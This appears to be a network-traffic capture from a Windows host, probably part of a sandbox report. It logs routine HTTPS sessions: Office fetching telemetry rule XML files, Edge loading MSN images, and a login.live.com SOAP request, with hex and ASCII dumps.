2024-11-19 23:19:30 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:30 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: f37cb76d-d01e-0017-2085-3ab035000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231930Z-185f5d8b95c68cvnhC1NYCfn7s00000009d000000000c0cd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:30 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.5	62109	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:30 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:30 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:30 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: 62f36519-501e-0016-468c-3a181b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231930Z-1777c6cb754lv4cqhC1TEB13us00000008ng00000000rwwx x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:30 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.5	62128	104.117.182.9	443	6472	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:30 UTC	506	OUT	GET /tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-19 23:19:30 UTC	547	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t Last-Modified: Fri, 01 Nov 2024 15:43:48 GMT X-Source-Length: 822 X-Datacenter: eastus X-ActivityId: 8573cc25-f04b-4276-9d05-cb327393d12e Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 4096 Cache-Control: public, max-age=404664 Expires: Sun, 24 Nov 2024 15:43:54 GMT Date: Tue, 19 Nov 2024 23:19:30 GMT Connection: close
2024-11-19 23:19:30 UTC	4096	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.5	62129	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:30 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:31 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:31 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: af4852c5-601e-000d-3a8c-3a2618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231931Z-r1d97b99577dd2gchC1TEBz5ys00000007u000000000f1c3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:31 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.5	62130	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:31 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:31 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:31 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: 38897a0b-401e-000a-7a8c-3a4a7b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231931Z-185f5d8b95csp6jmhC1NYCwy6s00000009e0000000003880 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:31 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.5	62132	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:31 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:31 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:31 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: 5c70d6ce-001e-00ad-368c-3a554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231931Z-185f5d8b95cqnkdjhC1NYCm8w8000000098g00000000awd4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:31 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.5	62133	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:31 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:31 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:31 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 733c43f5-901e-007b-0e8c-3aac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231931Z-1777c6cb754lv4cqhC1TEB13us00000008rg00000000d08x x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:31 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.5	62131	40.126.32.136	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:31 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-19 23:19:31 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-19 23:19:31 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Tue, 19 Nov 2024 23:18:31 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C551_SN1 x-ms-request-id: 4118d768-7704-4e49-8f84-618f7c35ad09 PPServer: PPV: 30 H: SN1PEPF0002F9DB V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Tue, 19 Nov 2024 23:19:30 GMT Connection: close Content-Length: 11389
2024-11-19 23:19:31 UTC	11389	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.5	62135	104.117.182.9	443	6472	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:31 UTC	506	OUT	GET /tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-19 23:19:31 UTC	550	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t Last-Modified: Fri, 01 Nov 2024 15:19:08 GMT X-Source-Length: 17955 X-Datacenter: northeu X-ActivityId: d2440427-50e1-4b1e-9511-bbaa45a53b32 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 8192 Cache-Control: public, max-age=403436 Expires: Sun, 24 Nov 2024 15:23:27 GMT Date: Tue, 19 Nov 2024 23:19:31 GMT Connection: close
2024-11-19 23:19:31 UTC	8192	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.5	62134	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:31 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:31 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:31 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 0cd4e810-101e-0079-148c-3a5913000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231931Z-185f5d8b95cqnkdjhC1NYCm8w800000009bg000000001egk x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:31 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.5	62136	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:31 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:32 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:31 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: d35eaebc-501e-0064-178c-3a1f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231931Z-185f5d8b95cqnkdjhC1NYCm8w8000000098g00000000awdw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:32 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" 